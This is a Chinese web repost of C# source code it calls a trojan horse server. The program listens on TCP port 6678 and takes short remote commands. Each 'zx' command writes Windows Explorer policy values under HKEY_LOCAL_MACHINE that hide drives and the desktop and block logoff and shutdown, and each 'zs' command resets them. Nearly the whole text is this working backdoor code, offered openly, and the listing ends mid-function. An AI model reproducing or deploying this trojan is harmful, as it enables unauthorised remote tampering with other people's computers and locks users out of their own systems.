特洛伊木马服务器源代码

特洛伊木马服务器源代码(C#)

作者: wgscd

引自:
http://www.putfly.com/show.aspx?id=229&cid=13
 
 


using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using Microsoft.Win32;
 

namespace server
{
 /** <summary>
 /// Form1 的摘要说明。
 /// </summary>
 public class Form1 : System.Windows.Forms.Form
 {
  /** <summary>
  /// 必需的设计器变量。
  /// </summary>
  private System.ComponentModel.Container components = null;
 
  private TcpListener listener;
  private string mystr="您好!非常抱歉,您的注册表:";
  private RegistryKey  rrr=Registry.LocalMachine;
  private RegistryKey key1;
 

  public Form1()
  {
   //
   // Windows 窗体设计器支持所必需的
   //
   InitializeComponent();
  {int port =6678;
   listener=new TcpListener(port);
   listener.Start();
  
   Thread thread=new Thread(new ThreadStart(target));
   thread.Start();
 
  }
 
   //
   // TODO: 在 InitializeComponent 调用后添加任何构造函数代码
   //
  }
  public void target()
  {
  
   Socket socket= listener.AcceptSocket();
  
   while(socket.Connected)
   {
 
   
    byte[] by=new Byte[6];
    int i=socket.Receive(by,by.Length,0);
   
    string ss=System.Text.Encoding.ASCII.GetString(by);
    //OOOOOOOOOOOOOOOOOOOOOOOOOOO以下是修改注册表OOOOOOOOOOOOOOOOOOOOOOOOOOO  
    
    //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
    if(ss=="jiance")
    {
     string str="hjc";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
    
    }
    if(ss=="zx1000")
    {
   
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoLogOff",1);
      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff被修改!请将它置为0!";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoLogOff",1);
       key2.Close();
       mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff被修改!请将它置为0!";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
    }//if(ss=="")
    //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
    //****************************************************************************
    if(ss=="zx0100")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoClose",1);
      key1.Close();
      mystr=mystr+"LocalMachine/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoClose被修改!请将它置为0!";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoClose",1);
       key2.Close();
       mystr=mystr+"LocalMachine/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoClose被修改!请将它置为0!";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
   
   
    }//if(ss=="zx0100"){
    //****************************************************************************
 
    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    if(ss=="zx0010")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoDrives",12);
      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoDrives被修改!请将它置为0";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoDrives",12);
       key2.Close();
       mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoDrives被修改!请将它置为0";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
   
    }//if
    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    //====================================================================
 
    if(ss=="zx0001")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoDesktop",1);
      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoDesktop被修改!请将它置为0";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoDesktop",1);
       key2.Close();
       mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoDesktop被修改!请将它置为0";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
    //=========================================================================
    //$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
 

    if(ss=="zx1100")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoLogOff",1);
      key1.SetValue("NoClose",1);
      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoClose被修改!请将它置为0";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
       key2.SetValue("NoLogOff",1);
       key2.SetValue("NoClose",1);
       key2.Close();
       mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoClose被修改!请将它置为0";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
   
    //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
    if(ss=="zx1010")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoLogOff",1);
      key1.SetValue("NoDrives",12);
      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoDrives被修改!请将它置为0";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
       key2.SetValue("NoLogOff",1);
       key2.SetValue("NoDrives",12);
       key2.Close();
       mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoDrives被修改!请将它置为0";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
    //**************************************************
    if(ss=="zx1001")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/policies/Explorer",true);
     
      key1.SetValue("NoLogOff",1);
      key1.SetValue("NoDesktop",1);
      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoDesktop被修改!请将它置为0";
 
     }
     catch(Exception ee){MessageBox.Show(ee.Message);}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoLogOff",1);
       key2.SetValue("NoDesktop",1);
       key2.Close();
       mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoDesktop被修改!请将它置为0";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
    //********************************************
    if(ss=="zx0110")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
                        key1.SetValue("NoClose",1);
                        key1.SetValue("NoDrives",12);
 
      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoClose、NoDrives被修改!请将它置为0";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoClose",1);
                            key2.SetValue("NoDrives",12);
 
       key2.Close();
       mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoClose、NoDrives被修改!请将它置为0";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
    //********************************************
    if(ss=="zx0101")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoClose",1);
      key1.SetValue("NoDesktop",1);
 
      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoClose、NoDesktop被修改!请将它置为0";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoClose",1);
       key2.SetValue("NoDesktop",1);
 
       key2.Close();
       mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoClose、、NoDesktop被修改!请将它置为0";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
    //********************************
    if(ss=="zx0011")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoDrives",12);
      key1.SetValue("NoDesktop",1);
 

      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoDrives、NoDesktop被修改!请将它置为0";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoDrives",12);
       key2.SetValue("NoDesktop",1);
 
       key2.Close();
       mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoDrives、NoDesktop被修改!请将它置为0";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
   
    //************************************
    if(ss=="zx1110")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoLogOff",1);
      key1.SetValue("NoClose",1);
      key1.SetValue("NoDrives",12);
 
 
 
      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoClose、NoDrives被修改!请将它置为0";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoLogOff",1);
       key2.SetValue("NoClose",1);
       key2.SetValue("NoDrives",12);
 
       key2.Close();
       mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoClose、NoDrives被修改!请将它置为0";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
 
    //**************************************
    if(ss=="zx1101")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoLogOff",1);
      key1.SetValue("NoClose",1);
      key1.SetValue("NoDesktop",1);
 
 
 
      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoClose、NoDesktop被修改!请将它置为0";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoLogOff",1);
       key2.SetValue("NoClose",1);
       key2.SetValue("NoDesktop",1);
 
       key2.Close();
       mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoClose、NoDesktop被修改!请将它置为0";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
//******************************************
    if(ss=="zx1011")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoLogOff",1);
      key1.SetValue("NoDrives",12);
      key1.SetValue("NoDesktop",1);
 
 
 
      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoDrives、NoDesktop被修改!请将它置为0";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoLogOff",1);
       key2.SetValue("NoDrives",12);
       key2.SetValue("NoDesktop",1);
 
       key2.Close();
       mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoDrives、NoDesktop被修改!请将它置为0";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
 
    //********************************************
    if(ss=="zx0111")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoDrives",12);
      key1.SetValue("NoClose",1);
      key1.SetValue("NoDesktop",1);
 
 
 
      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoClose、NoDrives、NoDesktop被修改!请将它置为0";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoDrives",12);
       key2.SetValue("NoClose",1);
       key2.SetValue("NoDesktop",1);
 
       key2.Close();
       mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoClose、NoDrives、NoDesktop被修改!请将它置为0";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
    //********************************************
    if(ss=="zx1111")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoLogOff",1);
      key1.SetValue("NoClose",1);
      key1.SetValue("NoDrives",12);
      key1.SetValue("NoDesktop",1);
 
 
 

      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoClose、NoDrives、NoDesktop被修改!请将它置为0";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoLogOff",1);
       key2.SetValue("NoClose",1);
       key2.SetValue("NoDrives",12);
       key2.SetValue("NoDesktop",1);
 
       key2.Close();
       mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoClose、NoDrives、NoDesktop被修改!请将它置为0";
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
    //*********************************************
    //OOOOOOOOOOOOOOOOOOOOOOOOOOO以上是修改注册表OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
//PPPPPPPPPPPPPPPPPPPPPPPPPPPP以下是善意修改部分PPPPPPPPPPPPPPPPPPPPPPPPPPPPP
 
    
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&  
   
    if(ss=="zs1000")
         {
    
          try
          {
           key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
           key1.SetValue("NoLogOff",0);
           key1.Close();
    
 
          }
          catch{}
          if(key1==null)
          {
           try
           {
            RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
            key2.SetValue("NoLogOff",0);
            key2.Close();
   
 
           }//try
           catch{}
          }//if(key1==null){
          string str="hkz";
          byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
          socket.Send(bytee,bytee.Length,0);
   
 
         }//if(ss=="")
    //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
    //***********************************************************************
    if(ss=="zs0100")
    {
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoClose",0);
      key1.Close();
     
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoClose",0);
       key2.Close();
      
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
   
   
    }//if(ss=="zx0100"){
    //********************************************************************
    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    if(ss=="zs0010")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoDrives",0);
      key1.Close();
     
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoDrives",0);
       key2.Close();
      
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
   
    }//if
    //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    //==================================================================
 

    if(ss=="zs0001")
    {
   
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoDesktop",0);
      key1.Close();
     
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoDesktop",0);
       key2.Close();
      
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
    //=========================================================================
    if(ss=="zs1100")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoLogOff",0);
      key1.SetValue("NoClose",0);
      key1.Close();
     
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
       key2.SetValue("NoLogOff",0);
       key2.SetValue("NoClose",0);
       key2.Close();
      
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
   
    //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
    if(ss=="zs1010")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoLogOff",0);
      key1.SetValue("NoDrives",0);
      key1.Close();
     
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
       key2.SetValue("NoLogOff",0);
       key2.SetValue("NoDrives",0);
       key2.Close();
      
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
    //**************************************************
    if(ss=="zs1001")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoLogOff",0);
      key1.SetValue("NoDesktop",0);
      key1.Close();
     
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoLogOff",0);
       key2.SetValue("NoDesktop",0);
       key2.Close();
      
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
    //********************************************
    if(ss=="zs0110")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoClose",0);
      key1.SetValue("NoDrives",0);
 
      key1.Close();
     
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoClose",0);
       key2.SetValue("NoDrives",0);
 
       key2.Close();
      
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
    //********************************************
    if(ss=="zs0101")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoClose",0);
      key1.SetValue("NoDesktop",0);
 
      key1.Close();
     
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoClose",0);
       key2.SetValue("NoDesktop",0);
 
       key2.Close();
      
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
    //********************************
    if(ss=="zs0011")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoDrives",0);
      key1.SetValue("NoDesktop",0);
 

      key1.Close();
     
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoDrives",0);
       key2.SetValue("NoDesktop",0);
 
       key2.Close();
      
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
   
    //************************************
    if(ss=="zs1110")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoLogOff",0);
      key1.SetValue("NoClose",0);
      key1.SetValue("NoDrives",0);
 
 
 
      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoLogOff、NoClose、NoDrives被修改!请将它置为0";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoLogOff",0);
       key2.SetValue("NoClose",0);
       key2.SetValue("NoDrives",0);
 
       key2.Close();
      
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
 
    //**************************************
    if(ss=="zs1101")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoLogOff",0);
      key1.SetValue("NoClose",0);
      key1.SetValue("NoDesktop",0);
 
 
 
      key1.Close();
     
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoLogOff",0);
       key2.SetValue("NoClose",0);
       key2.SetValue("NoDesktop",0);
 
       key2.Close();
      
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
    //******************************************
    if(ss=="zs1011")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoLogOff",0);
      key1.SetValue("NoDrives",0);
      key1.SetValue("NoDesktop",0);
 
 
 
      key1.Close();
     
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoLogOff",0);
       key2.SetValue("NoDrives",0);
       key2.SetValue("NoDesktop",0);
 
       key2.Close();
      
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
 
